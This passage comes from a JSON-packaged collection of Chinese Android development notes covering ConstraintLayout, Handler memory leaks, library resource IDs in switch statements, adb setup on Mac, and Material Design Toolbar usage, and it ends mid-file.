onCreate(Bundle savedInstanceState) {\n\tsuper.onCreate(savedInstanceState);\n\t IntentFilter filter = new IntentFilter();  \n\t filter.addAction(\"test\");  \n\n\t mReceiver = new BroadcastReceiver() {  \n\t\t@Override  \n\t\tpublic void onReceive(Context context, Intent intent) {  \n\t\t\tif (intent.getAction().equals(\"test\")) {  \n\t\t\t\t//Do Something\n\t\t\t} \n\t\t}  \n\t};  \n\tmLocalBroadcastManager = LocalBroadcastManager.getInstance(this);\n\tmLocalBroadcastManager.registerReceiver(mReceiver, filter);\n}\n\n\n@Override\nprotected void onDestroy() {\n   mLocalBroadcastManager.unregisterReceiver(mReceiver);\n   super.onDestroy();\n} \n```\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/AdavancedPart/ConstraintLaayout简介.md",
    "content": "ConstraintLaayout简介\n===\n\n`ConstraintLayout`从发布到现在也得有两年的时间了，但是目前在项目中却很少用到他。今天闲下来记录一下，以后可以用来解决一些布局的嵌套问题。 \n`ConstraintLayout`是`RelativeLayout`的升级版本，但是比`RelativeLayout`更加强调约束，它能让你的布局更加扁平化，一般来说一个界面一层就够了。\n而且它可以直接在布局编辑页面通过拖拖拖的方式就可以把控件摆放好，但是我还是习惯手写。   \n\n在`Android Studio`中可以很方便的将目前的布局直接转换成`ConstraintLayout`，可以在布局的编辑页面上直接右键然后选择就可以了。        \n\n当然项目中要添加它的依赖，目前最新版本: \n```\nimplementation 'com.android.support.constraint:constraint-layout:1.1.0'\n```\n\n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/constraintlayout_convert.png?raw=true\" width = \"80%\" />\n\n然后会提示添加`ConstraintLayout`支持库。   \n<img src=\"https://raw.githubusercontent.com/CharonChui/Pictures/master/constraintlayout_convert_tip.png?raw=true\" width = \"80%\" />\n\n\n相对于传统布局`ConstraintLayout`在以下方面提供了一些新的特性:      \n\n- 相对定位        \n\n    这个和`RelativeLayout`比较像，就是一个控件相对于另一个控件的位置约束关系:  \n    \n    - 横向:`Left、Right、Start、End`\n    - 纵向:`Top、Bottom、Baseline(文本底部的基准线)`\n        \n        ```xml\n    \t<Button android:id=\"@+id/buttonA\" ... />\n\t\t<Button android:id=\"@+id/buttonB\" ...\n\t\t\t// 这样系统就会知道B的左侧被约束在A的右侧\n\t\t    app:layout_constraintLeft_toRightOf=\"@+id/buttonA\" />\n        ```\n        常用的有:     \n        ```xml\n\t\t* layout_constraintLeft_toLeftOf          // 左边左对齐\n\t\t* layout_constraintLeft_toRightOf         // 左边右对齐\n\t\t* layout_constraintRight_toLeftOf         // 右边左对齐\n\t\t* layout_constraintRight_toRightOf        // 右边右对齐\n\t\t* layout_constraintTop_toTopOf            // 上边顶部对齐\n\t\t* layout_constraintTop_toBottomOf         // 上边底部对齐\n\t\t* layout_constraintBottom_toTopOf         // 下边顶部对齐\n\t\t* layout_constraintBottom_toBottomOf      // 下边底部对齐\n\t\t* layout_constraintBaseline_toBaselineOf  // 文本内容基准线对齐\n\t\t* layout_constraintStart_toEndOf          // 起始边向尾部对齐\n\t\t* layout_constraintStart_toStartOf        // 起始边向起始边对齐\n\t\t* layout_constraintEnd_toStartOf          // 尾部向起始边对齐\n\t\t* layout_constraintEnd_toEndOf            // 尾部向尾部对齐\n\n        ```\n\n\t\t上面的这些属性需要结合`id`才能进行约束，这些id可以指向控件也可以指向父容器（也就是`ConstraintLayout`），比如:    \n\t\t```xml\n\t\t<Button android:id=\"@+id/buttonB\" ...\n\t\t    app:layout_constraintLeft_toLeftOf=\"parent\" />\n\t\t```\n\n- 外边距\n\n    ```xml\n    * android:layout_marginStart\n\t* android:layout_marginEnd\n\t* android:layout_marginLeft\n\t* android:layout_marginTop\n\t* android:layout_marginRight\n\t* android:layout_marginBottom\n\t// 这里的gone margin指的是B向A添加约束后，如果A的可见性变为GONE，这时候B的外边距可以改变，也就是B的外边距根据A的可见性分为两种状态。\n\t* layout_goneMarginStart\n\t* layout_goneMarginEnd\n\t* layout_goneMarginLeft\n\t* layout_goneMarginTop\n\t* layout_goneMarginRight\n\t* layout_goneMarginBottom\n\n    ```\n\n- 居中和倾向       \n\t- 居中     \n\t\t在`RelativeLayout`中我们可以`centerHorizontal`等来进行居中操作，但是在`ConstraintLayout`中没有类似的方法。 \n\t    ```xml\n\t    <android.support.constraint.ConstraintLayout ...>\n\t    <Button android:id=\"@+id/button\" ...\n\t        app:layout_constraintLeft_toLeftOf=\"parent\"\n\t        app:layout_constraintRight_toRightOf=\"parent/>\n\t\t\t<android.support.constraint.ConstraintLayout/>\n\t    ```\n\t\t这种情况就感觉像是控件两边有两个反向相等大小的力在拉动它一样，所以才会产生控件居中的效果。\n\n\t- 倾向     \n        在这种约束是同向相反的情况下，默认控件是居中的，但是也可以像拔河一样，让两个约束的力大小不等，这样就产生了倾向，其属性是：\n        ```xml\n\t\t* layout_constraintHorizontal_bias\n\t\t* layout_constraintVertical_bias\n\t\t```\n\n\t\t下面这段代码就是让左边占30%，右边占70%（默认两边各占50%），这样左边就会短一些，如图5所示，此时代码是这样的:    \n\t\t```xml\t\t\n\t\t<android.support.constraint.ConstraintLayout ...>\n\t\t    <Button android:id=\"@+id/button\" ...\n\t\t        app:layout_constraintHorizontal_bias=\"0.3\"\n\t\t        app:layout_constraintLeft_toLeftOf=\"parent\"\n\t\t        app:layout_constraintRight_toRightOf=\"parent/>\n\t\t<android.support.constraint.ConstraintLayout/>\n\t\t```\n\n- 可见性的表现\n\n    `ConstraintLayout`对可见性被标记`View.GONE`的控件（后称`GONE`控件）有特殊的处理。一般情况下，`GONG`控件是不可见的，且不再是布局的一部分，但是在布局计算上，`ConstraintLayout`与传统布局有一个很重要的区别:    \n\n    - 传统布局下，`GONE`控件的尺寸会被认为是0（当做点来处理）\n    - 在`ConstraintLayout`中，`GONE`控件尺寸仍然按其可见时的大小计算，但是其外边距大小按0计算\n\n\n- 尺寸约束\n\n    `ConstraintLayout`本身可以定义自己的最小尺寸:   \n\n    - `android:minWidth`设置布局的最小宽度\n    - `android:minHeight`设置布局的最小高度\n\n    这些最小尺寸当`ConstraintLayout`被设置为`WRAP_CONTENT`时有效。\n    \n    控件的尺寸可以通过`android:layout_width`和`android:layout_height`来设置，有三种方式:   \n    \n    - 使用固定值\n    - 使用`WRAP_CONTENT`\n    - 使用0dp（相当于`MATCH_CONSTRAINT`)\n\n    为什么不用`MATCH_PARENT`呢？ 这是因为:   \n     \n    `Important: MATCH_PARENT is not supported for widgets contained in a ConstraintLayout, though similar behavior can be defined by using MATCH_CONSTRAINT with the corresponding left/right or top/bottom constraints being set to “parent”.`\n\n    比例\n    这里的比例指的是宽高比，通过设置比例，让宽高的其中一个随另一个变化。为了实现比例，需要让控件宽或高受约束，且尺寸设置为0dp（也可以是MATCH_CONSTRAINT），实现代码如下:   \n    \n    ```java\n    <Button android:layout_width=\"wrap_content\"\n        android:layout_height=\"0dp\"\n        app:layout_constraintTop_toTopOf=\"parent\"\n        app:layout_constraintDimensionRatio=\"1:1\" />\n    ```\n\n    上述代码中，按钮的高度满足受约束且设置为0dp的条件，所以其尺寸会按照比例随宽度调整。\n\n    比例的设置有两种格式：\n\n    - 宽度与高度的比，可理解为受约束的一方尺寸:另一方尺寸\n    - 受约束的一方尺寸/另一方尺寸得到的浮点数值\n\n- `Chain`\n\n    `Chain`是一系列双向连接的控件连接在一起的形态(可以理解成一个包含几个子`View`的`LinearLayout`)\n    横向上，`Chain`头部是`Chain`最左边的控件；纵向上，`Chain`头部是`Chain`最顶部的控件。\n\n    `Chain`样式:    \n    当对`Chain`的第一个元素设置`layout_constraintHorizontal_chainStyle`或`layout_constraintVertical_chainStyle`属性，\n    `Chain`就会根据特定的样式（默认样式为`CHAIN_SPREAD`）进行相应变化，样式类型如下:   \n\n    - `CHAIN_SPREAD`元素被分散开（默认样式）\n    - 在`CHAIN_SPREAD`模式下，如果一些控件被设置为`MATCH_CONSTRAINT`，那么控件将会把所有剩余的空间均分后“吃掉”\n    - `CHAIN_SPREAD_INSIDE`:`Chain`两边的元素贴着父容器，其他元素在剩余的空间中采用`CHAIN_SPREAD`模式\n    - `CHAIN_PACKED`:`Chain`中的所有控件合并在一起后在剩余的空间中居中\n    \n    ![image](https://raw.githubusercontent.com/CharonChui/Pictures/master/chain.png?raw=true)\n    \n    带权重的`Chain`:        \n    默认的`Chain`会在空间里平均散开。如果其中有一个或多个元素使用了`MATCH_CONSTRAINT`属性，那么他们会将剩余的空间平均填满。\n    属性`layout_constraintHorizontal_height`和`layout_constraintVertical_weight`控制使用`MATCH_CONSTRAINT`的元素如何均分空间。\n    例如，一个`Chain`中包含两个使用`MATCH_CONSTRAINT`的元素，第一个元素使用的权重为2，第二个元素使用的权重为1，\n    那么被第一个元素占用的空间是第二个元素的2倍。\n    \n\n- 辅助工具\n\n    `android.support.constraint.Guideline`该类比较简单，主要用于辅助布局，即类似为辅助线，横向的、纵向的。\n    该布局是不会显示到界面上的。\n    \n    所以其有个属性为:`android:orientation`取值为`vertical`和`horizontal`.\n    \n    除此以外，还差个属性，决定该辅助线的位置:    \n    \n    - `layout_constraintGuide_begin`\n    - `layout_constraintGuide_end`\n    - `layout_constraintGuide_percent`\n    \n    可以通过上面3个属性其中之一来确定属性值位置。`begin=30dp`，即可认为距离顶部30dp的地方有个辅助线，\n    根据`orientation`来决定是横向还是纵向。`end=30dp`，即为距离底部。`percent=0.8`即为距离顶部`80%`。\n    \n    好了，下面看一个例子，在一个布局的右下角添加浮点按钮，我决定通过两根辅助线来定位，一根横向距离底部80%，一个纵向距离顶部80%，浮点按钮就定位在他们交叉的地方。\n    \n    ```xml\n    <android.support.constraint.ConstraintLayout \n        ...\n        tools:context=\"com.zhy.constrantlayout_learn.MainActivity\">\n        <android.support.constraint.Guideline\n            android:id=\"@+id/guideline_h\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:orientation=\"horizontal\"\n            app:layout_constraintGuide_percent=\"0.8\" />\n        <android.support.constraint.Guideline\n            android:id=\"@+id/guideline_w\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:orientation=\"vertical\"\n            app:layout_constraintGuide_percent=\"0.8\" />\n        <TextView\n            android:layout_width=\"60dp\"\n            android:layout_height=\"60dp\"\n            android:background=\"#612\"\n            app:layout_constraintLeft_toRightOf=\"@id/guideline_w\"\n            app:layout_constraintTop_toBottomOf=\"@id/guideline_h\" />\n    </....>\n    ```\n\n`ConstraintLayout`究竟有什么用呢？ \n---\n\n`ConstraintLayout`允许您构建复杂的布局，而不必嵌套`View`和`ViewGroup`元素。\n它可以有效地解决布局嵌套过多的问题。我们平时编写界面，复杂的布局总会伴随着多层的嵌套，而嵌套越多，\n程序的性能也就越差。`ConstraintLayout`则是使用约束的方式来指定各个控件的位置和关系的，\n它有点类似于`RelativeLayout`，但远比`RelativeLayout`要更强大。\n`ConstraintLayout`在测量/布局阶段的性能比 `RelativeLayout`大约高`40%`。      \n\n\n\n\t\t\n\n\n- [Build a Responsive UI with ConstraintLayout](https://developer.android.com/training/constraint-layout/index.html)\n- [ConstraintLayout文档](https://developer.android.com/reference/android/support/constraint/package-summary.html)\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/AdavancedPart/Handler导致内存泄露分析.md",
    "content": "Handler导致内存泄露分析\n===\n\n有关内存泄露请猛戳[内存泄露][1]\n\n```java\nHandler mHandler = new Handler() {\n    @Override\n    public void handleMessage(Message msg) {\n\t    // do something.\n    }\n}\n```\n当我们这样创建`Handler`的时候`Android Lint`会提示我们这样一个`warning： In Android, Handler classes should be static or leaks might occur.`。       \n     \n一直以来没有仔细的去分析泄露的原因，先把主要原因列一下：    \n- `Android`程序第一次创建的时候，默认会创建一个`Looper`对象，`Looper`去处理`Message Queue`中的每个`Message`,主线程的`Looper`存在整个应用程序的生命周期.\n- `Hanlder`在主线程创建时会关联到`Looper`的`Message Queue`,`Message`添加到消息队列中的时候`Message(排队的Message)`会持有当前`Handler`引用，\n当`Looper`处理到当前消息的时候，会调用`Handler#handleMessage(Message)`.就是说在`Looper`处理这个`Message`之前，\n会有一条链`MessageQueue -> Message -> Handler -> Activity`，由于它的引用导致你的`Activity`被持有引用而无法被回收\n- **在java中，no-static的内部类会隐式的持有当前类的一个引用。static的内部类则没有。**\n\n## 具体分析\n```java\npublic class SampleActivity extends Activity {\n\n  private final Handler mHandler = new Handler() {\n\t\t@Override\n\t\tpublic void handleMessage(Message msg) {\n\t\t  // do something\n\t\t}\n  }\n\n  @Override\n  protected void onCreate(Bundle savedInstanceState) {\n    super.onCreate(savedInstanceState);\n\t// 发送一个10分钟后执行的一个消息\n\tmHandler.postDelayed(new Runnable() {\n\t  @Override\n\t  public void run() { }\n\t}, 600000);\n\n\t// 结束当前的Activity\n\tfinish();\n}\n```\n在`finish()`的时候，该`Message`还没有被处理，`Message`持有`Handler`,`Handler`持有`Activity`,这样会导致该`Activity`不会被回收，就发生了内存泄露.\n\n## 解决方法 \n- 通过程序逻辑来进行保护。\n    - 如果`Handler`中执行的是耗时的操作，在关闭`Activity`的时候停掉你的后台线程。线程停掉了，就相当于切断了`Handler`和外部连接的线，\n\t`Activity`自然会在合适的时候被回收。 \n    - 如果`Handler`是被`delay`的`Message`持有了引用，那么在`Activity`的`onDestroy()`方法要调用`Handler`的`remove*`方法，把消息对象从消息队列移除就行了。 \n\t    - 关于`Handler.remove*`方法\n\t\t\t- `removeCallbacks(Runnable r)` ——清除r匹配上的Message。    \n\t\t\t- `removeC4allbacks(Runnable r, Object token)` ——清除r匹配且匹配token（Message.obj）的Message，token为空时，只匹配r。\n\t\t\t- `removeCallbacksAndMessages(Object token)` ——清除token匹配上的Message。\n\t\t\t- `removeMessages(int what)` ——按what来匹配     \n\t\t\t- `removeMessages(int what, Object object)` ——按what来匹配      \n\t\t\t我们更多需要的是清除以该`Handler`为`target`的所有`Message(Callback)`就调用如下方法即可`handler.removeCallbacksAndMessages(null)`;\n- 将`Handler`声明为静态类。\n    静态类不持有外部类的对象，所以你的`Activity`可以随意被回收。但是不持有`Activity`的引用，如何去操作`Activity`中的一些对象？ 这里要用到弱引用\n\t\n```java\npublic class MyActivity extends Activity {\n\tprivate MyHandler mHandler;\n\n\t@Override\n\tprotected void onCreate(Bundle savedInstanceState) {\n\t\tsuper.onCreate(savedInstanceState);\n\t\tmHandler = new MyHandler(this);\n\t}\n\n\t@Override\n\tprotected void onDestroy() {\n\t\t// Remove all Runnable and Message.\n\t\tmHandler.removeCallbacksAndMessages(null);\n\t\tsuper.onDestroy();\n\t}\n\n\tstatic class MyHandler extends Handler {\n\t\t// WeakReference to the outer class's instance.\n\t\tprivate WeakReference<MyActivity> mOuter;\n\n\t\tpublic MyHandler(MyActivity activity) {\n\t\t\tmOuter = new WeakReference<MyActivity>(activity);\n\t\t}\n\n\t\t@Override\n\t\tpublic void handleMessage(Message msg) {\n\t\t\tMyActivity outer = mOuter.get();\n\t\t\tif (outer != null) {\n\t\t\t\t// Do something with outer as your wish.\n\t\t\t}\n\t\t}\n\t}\n}\n```\n\n[1]:(https://github.com/CharonChui/AndroidNote/blob/master/BasicKnowledge/%E5%86%85%E5%AD%98%E6%B3%84%E6%BC%8F.md)\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/AdavancedPart/Library项目中资源id使用case时报错.md",
    "content": "Library项目中资源id使用case时报错\n===\n\n在平时开发的过程中对一些常量的判断，都是使用`switch case`语句，因为`switch case`比`if else`的效率稍高。     \n但是也遇到了问题，就是在`library`中使用时会报错:      \n```java\npublic void testClick(View view) {\n    int id = view.getId();\n    switch (id) {\n        case R.id.bt_pull:\n\n            break;\n        case R.id.bt_push:\n\n            break;\n    }\n}\n```\n我们来看一下错误提示:     \n\n![Image](https://github.com/CharonChui/Pictures/blob/master/library_r.error.png?raw=true)\n\n意思就是在`Android Library`的`Module`中的`switch`语句不能使用资源`ID`.这是为什么呢？ 我们都知道`R`文件中都是常量啊，`public static final`的，为什么不能用在`switch`语句中，继续看下去:      \n```\nResource IDs are non final in th library projects since SDK tools r14, means that the library code cannot treat this IDs as constants.\n```\n说的灰常明白了，也就是说从14开始，library中的资源`id`就不是`final`类型的了，所以不是常量了。       \n\n在一个常规的`Android`项目中，资源`R`文件中的常量都是如下这样声明的:      \n`public static final int main=0x7f030004;`\n然后，从`ADT`14开始，在`library`项目中，它们将被这样声明:       \n`public static int main=0x7f030004;`\n\n也就是说在`library`项目中这些常量不是`final`的了。为什么这样做的原因也非常简单：当多个`library`项目结合时，这些字段的实际值(必须唯一的值)可能会冲突。在`ADT`14之前，所有的字段都是`final`的，这样就导致了一个结果，就是所有的`libraries`不论何时在被使用时都必须把他们所有的资源和相关的`Java`代码都伴随着主项目一起重新编译。这样做是不合理的，因为它会导致编译非常慢。这也会阻碍一些没有源码的`libraray`项目进行发布，极大的限制了`library`项目的使用范围。      \n\n那些字段不再是`final`的原因就是意味着`library jars`可以被编译一次，然后在其他项目中直接被服用。也就是意味着允许发布二进制版本的`library`项目(r15中开始支持)，这让编译变的更快。\n\n然而，这对`library`的源码会有一个影响。类似下面这样的代码就将无法编译:    \n```java\npublic void testClick(View view) {\n    int id = view.getId();\n    switch (id) {\n        case R.id.bt_pull:\n\n            break;\n        case R.id.bt_push:\n\n            break;\n    }\n}\n```\n这是因为`swtich`语句要求所有`case`后的字段，例如`R.di.bt_pull`在编译的时候都应该是常量(就像可以直接把值拷贝进`.class`文件中)\n\n当然针对这个问题的解决方法也很简单：就是把`switch`语句改成`if-else`语句。幸运的是，在`eclise`中这是非常简单的。只需要在`switch`的关键字上按`Ctrl+1`（`Mac`上是`Cmd+1`)。(`eclipse`都辣么方便了，`Studio`更不用说了啊，直接按修复的快捷键就阔以了)。      \n上面的代码就将变成如下:     \n\n```java\npublic void testClick(View view) {\n    int id = view.getId();\n    if (id == R.id.bt_pull) {\n    } else if (id == R.id.bt_push) {\n    }\n}\n```\n这在UI代码和性能的影响通常是微不足道的 - -！。\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n\n"
  },
  {
    "path": "docs/android/AndroidNote/AdavancedPart/Mac下配置adb及Android命令.md",
    "content": "Mac下配置adb及Android命令\n===\n\n带着欣喜若狂的心情，买了一个`Mac`本，刚拿到它的时候感觉真的是一件艺术品，哈哈。废话不多说，里面配置`Android`开发环境。\n\n1. 找到`android sdk`的本地路径，\n    我的是：\n    - `ADB`\n        `/Android/adt-bundle-mac-x86_64-20131030/sdk/platform-tools`\n    - `Android`\n        `/Android/adt-bundle-mac-x86_64-20131030/sdk/tools`\n\n2. 打开终端输入\n    - `touch .bash_profile`创建\n    - `open -e .bash_profile`打开\n\n3. 添加路径\n    `.bash_profile`打开了，我们在这里添加路径，\n    - 如果打开的文档里面已经有内容,我们只要之后添加`:XXXX`**(注意前面一定要用冒号隔开)**       \n    - 如果是一个空白文档的话，我们就输入一下内容\n        `export PATH=${PATH}:XXXX`\n    我的是     \n    `export PATH=${PATH}:/Android/adt-bundle-mac-x86_64-20131030/sdk/tools:${PATH}:/Android/adt-bundle-mac-x86_64-20131030/sdk/platform-tools;`\n    保存，关掉这个文档，\n4. 终端输入命令  \n    `source .bash_profile`\n5. 大功告成\n\n \n \n ---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/AdavancedPart/MaterialDesign使用.md",
    "content": "MaterialDesign使用\n===\n\n- `Material Design`是`Google`在`2014`年的`I/O`大会上推出的全新设计语言。                        \n- `Material Design`是基于`Android 5.0``(API level 21)`的，兼容5.0以下的设备时需要使用版本号`v21.0.0`以上的                           \n`support v7`包中的`appcpmpat`，不过遗憾的是`support`包只支持`Material Design`的部分特性。                       \n使用`eclipse`或`Android Studio`进行开发时，直接在`Android SDK Manager`中将`Extras->Android Support Library`\n升级至最新版即可。\n\n下面我就简单讲解一下如何通过`support v7`包来使用`Material Design`进行开发。\n\nMaterial Design Theme\n---\n\n`Material`主题:                         \n\n- @android:style/Theme.Material (dark version)             --               Theme.AppCompat                           \n- @android:style/Theme.Material.Light (light version)      --               Theme.AppCompat.Light                 \n- @android:style/Theme.Material.Light.DarkActionBar        --               Theme.AppCompat.Light.DarkActionBar                 \n\n对应的效果分别如下:    \n\n![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/Material_theme.png?raw=true)    \n\n使用ToolBar\n---\n\n- 禁止Action Bar                  \n    可以通过使用`Material theme`来让应用使用`Material Design`。想要使用`ToolBar`需要先禁用`ActionBar`。\n    可以通过自定义`theme`继承`Theme.AppCompat.Light.NoActionBar`或者在`theme`中通过以下配置来进行。\n    ```xml\n    <item name=\"windowActionBar\">false</item>\n    <item name=\"android:windowNoTitle\">true</item>\n    ```\n    \n    下面我通过第二种方式来看一下具体的实现:   \n    \n    在`style.xml`中自定义`AppTheme`:    \n    \n    ```xml\n    <!-- Base application theme. -->\n    <style name=\"AppTheme\" parent=\"AppTheme.Base\"/>\n    \n    <style name=\"AppTheme.Base\" parent=\"Theme.AppCompat.Light.DarkActionBar\">\n    \t<!-- Tell Android System that we will use ToolBar instead of ActionBar -->\n    \t<item name=\"windowNoTitle\">true</item>\n    \t<item name=\"windowActionBar\">false</item>\n    \t<!-- colorPrimary is used for the default action bar background -->\n    \t<item name=\"colorPrimary\">@color/colorPrimary</item>\n    \n    \t<!-- colorPrimaryDark is used for the status bar -->\n    \t<item name=\"colorPrimaryDark\">@color/colorPrimaryDark</item>\n    \n    \t<!-- colorAccent is used as the default value for colorControlActivated\n    \t\t which is used to tint widgets -->\n    \t<item name=\"colorAccent\">@color/colorAccent</item>\n    </style>\n    ```\n    \n    配置的这几种颜色分别如下图所示:    \n    ![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/material_color.png?raw=true)\t       \n    里面没有`colorAccent`的颜色，这个颜色是设置`Checkbox`等控件选中时的颜色。\n\n    在`values-v21`中的`style.xml`中同样自定义`AppTheme`主题: \n    ```xml\n    <style name=\"AppTheme\" parent=\"AppTheme.Base\">\n        <!-- Customize your theme using Material Design here. -->\n    \t<item name=\"android:windowContentTransitions\" >true</item>\n    \t<item name=\"android:windowAllowEnterTransitionOverlap\" >true</item>\n    \t<item name=\"android:windowAllowReturnTransitionOverlap\">true</item>\n    \t<item name=\"android:windowSharedElementEnterTransition\">@android:transition/move</item>\n    \t<item name=\"android:windowSharedElementExitTransition\">@android:transition/move</item>\n    </style>\n    ```\n    \n- 在`Manifest`文件中设置`AppTheme`主题:   \n\n    ```xml\n    <application\n    \tandroid:allowBackup=\"true\"\n    \tandroid:icon=\"@mipmap/ic_launcher\"\n    \tandroid:label=\"@string/app_name\"\n    \tandroid:theme=\"@style/AppTheme\" >\n    \t<activity\n    \t\t...\n    \t</activity>\n    \t<activity android:name=\"com.charon.materialsample.FriendsActivity\"></activity>\n    </application>\n    ```\n    这里说一下为什么要在`values-v21`中也自定义个主题，这是为了能让在`21`以上的版本能更好的使用`Material Design`，\n在21以上的版本中会有更多的动画、特效等。\n\n- 让Activity继承AppCompatActivity\n\n    ```java\n    public class MainActivity extends AppCompatActivity {\n    \t...\n    }\n    ```\n\n- 在布局文件中进行声明\n\n    声明`toolbar.xml`，我们把他单独放到一个文件中，方便多布局使用:    \n    ```xml\n    <android.support.v7.widget.Toolbar xmlns:android=\"http://schemas.android.com/apk/res/android\"\n        xmlns:local=\"http://schemas.android.com/apk/res-auto\"\n        android:id=\"@+id/toolbar\"\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"wrap_content\"\n        android:background=\"?attr/colorPrimary\"\n        android:minHeight=\"?attr/actionBarSize\"\n        local:popupTheme=\"@style/ThemeOverlay.AppCompat.Light\"\n        local:theme=\"@style/ThemeOverlay.AppCompat.Dark.ActionBar\" />\n    ```\n    在`Activity`的布局中使用`ToolBar`:    \n    \n    ```xml\n    <LinearLayout\n    \tandroid:layout_width=\"match_parent\"\n    \tandroid:layout_height=\"match_parent\"\n    \tandroid:orientation=\"vertical\">\n    \n    \t<include\n    \t\tandroid:id=\"@+id/toolbar\"\n    \t\tlayout=\"@layout/toolbar\" />\n    \n    \t<com.charon.materialsample.view.PagerSlidingTabStrip\n    \t\tandroid:id=\"@+id/psts_main\"\n    \t\tandroid:layout_width=\"match_parent\"\n    \t\tandroid:layout_height=\"48dip\"\n    \t\tandroid:background=\"@color/colorPrimary\" />\n    \n    \t<android.support.v4.view.ViewPager\n    \t\tandroid:id=\"@+id/vp_main\"\n    \t\tandroid:layout_width=\"match_parent\"\n    \t\tandroid:layout_height=\"match_parent\"></android.support.v4.view.ViewPager>\n    \n    </LinearLayout>\n    ```\n\n- 在Activity中设置ToolBar\n    ```java\n    public class MainActivity extends AppCompatActivity{\n        private Context mContext;\n        private Toolbar mToolbar;\n    \n        @Override\n        protected void onCreate(Bundle savedInstanceState) {\n            super.onCreate(savedInstanceState);\n            setContentView(R.layout.activity_main);\n            mContext = this;\n    \t\tmToolbar = (Toolbar) findViewById(R.id.toolbar);\n    \t\tmToolbar.setTitle(R.string.app_name);\n    \t\t// 将ToolBar设置为ActionBar，这样一设置后他就能像ActionBar一样直接显示menu目录中的菜单资源\n    \t\t// 如果不用该方法，那ToolBar就只是一个普通的View，对menu要用inflateMenu去加载布局。\n    \t\tsetSupportActionBar(mToolbar);\n    \t\tgetSupportActionBar().setDisplayShowHomeEnabled(true);\n        }\n    }\n    ```\n\n到这里运行项目就可以了，就可以看到一个简单的`ToolBar`实现。\n\n接下来我们看一下`ToolBar`中具体有哪些内容:    \n\n![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/ToolBar_content.jpg?raw=true)\t              \n\n我们可以通过对应的方法来修改他们的属性:                 \n![Image](https://raw.githubusercontent.com/CharonChui/Pictures/master/toolbarCode.png?raw=true)\t           \n\n对于`ToolBar`中的`Menu`部分我们可以通过一下方法来设置:     \n```java\ntoolbar.inflateMenu(R.menu.menu_main);\ntoolbar.setOnMenuItemClickListener();\n```\n或者也可以直接在`Activity`的`onCreateOptionsMenu`及`onOptionsItemSelected`来处理: \n```java\n@Override\npublic boolean onCreateOptionsMenu(Menu menu) {\n\t// Inflate the menu; this adds items to the action bar if it is present.\n\tgetMenuInflater().inflate(R.menu.menu_main, menu);\n\treturn true;\n}\n\n@Override\npublic boolean onOptionsItemSelected(MenuItem item) {\n\t// Handle action bar item clicks here. The action bar will\n\t// automatically handle clicks on the Home/Up button, so long\n\t// as you specify a parent activity in AndroidManifest.xml.\n\tint id = item.getItemId();\n\n\t//noinspection SimplifiableIfStatement\n\tif (id == R.id.action_settings) {\n\t\treturn true;\n\t}\n\tif (id == R.id.action_search) {\n\t\tToast.makeText(getApplicationContext(), \"Search action is selected!\", Toast.LENGTH_SHORT).show();\n\t\treturn true;\n\t}\n\treturn super.onOptionsItemSelected(item);\n}\n```\n`menu`的实现如下:   \n```xml\n<menu xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    xmlns:tools=\"http://schemas.android.com/tools\" tools:context=\".MainActivity\">\n\n        <item\n            android:id=\"@+id/action_search\"\n            android:title=\"@string/action_search\"\n            android:orderInCategory=\"100\"\n            android:icon=\"@drawable/ic_action_search\"\n            app:showAsAction=\"ifRoom\" />\n\n        <item\n            android:id=\"@+id/action_settings\"\n            android:title=\"@string/action_settings\"\n            android:orderInCategory=\"100\"\n            app:showAsAction=\"never\" />\n\n</menu>\n```\n\n如果想要对`NavigationIcon`添加点击实现:  \n```java\ntoolbar.setNavigationOnClickListener(new View.OnClickListener() {\n\t@Override\n\tpublic void onClick(View v) {\n\t\tonBackPressed();\n\t}\n});\n```\n\n运行后发现我们强大的`Activity`切换动画怎么在`5.0`一下系统上实现呢？`support v7`包也帮我们考虑到了。使用`ActivityOptionsCompat`\n及`ActivityCompat.startActivity`，但是悲剧了，他对4.0一下基本都无效，而且就算在4.0上很多动画也不行，具体还是用其他\n大神在`github`写的开源项目吧。\n\n\n- 动态取色Palette \n\n    `Palette`这个类中可以提取一下集中颜色：　　\n    \n    - Vibrant （有活力）\n    - Vibrant dark（有活力 暗色）\n    - Vibrant light（有活力 亮色）\n    - Muted （柔和）\n    - Muted dark（柔和 暗色）\n    - Muted light（柔和 亮色）\n    \n    ```java\n    //目标bitmap，代码片段\n    Bitmap bm = BitmapFactory.decodeResource(getResources(),\n    \t\tR.drawable.kale);\n    Palette palette = Palette.generate(bm);\n    if (palette.getLightVibrantSwatch() != null) {\n    \t//得到不同的样本，设置给imageview进行显示\n    \tiv.setBackgroundColor(palette.getLightVibrantSwatch().getRgb());\n    \tiv1.setBackgroundColor(palette.getDarkVibrantSwatch().getRgb());\n    \tiv2.setBackgroundColor(palette.getLightMutedSwatch().getRgb());\n    \tiv3.setBackgroundColor(palette.getDarkMutedSwatch().getRgb());\n    }\n    ```\n\n使用DrawerLayout\n---\n\n- 布局中的使用\n\n```xml\n<android.support.v4.widget.DrawerLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    xmlns:app=\"http://schemas.android.com/apk/res-auto\"\n    xmlns:tools=\"http://schemas.android.com/tools\"\n    android:id=\"@+id/drawer_layout\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"match_parent\">\n\n    <!--主页面-->\n    <LinearLayout\n        android:layout_width=\"match_parent\"\n        android:layout_height=\"match_parent\"\n        android:orientation=\"vertical\">\n\n        <include\n            android:id=\"@+id/toolbar\"\n            layout=\"@layout/toolbar\" />\n\n        <com.charon.materialsample.view.PagerSlidingTabStrip\n            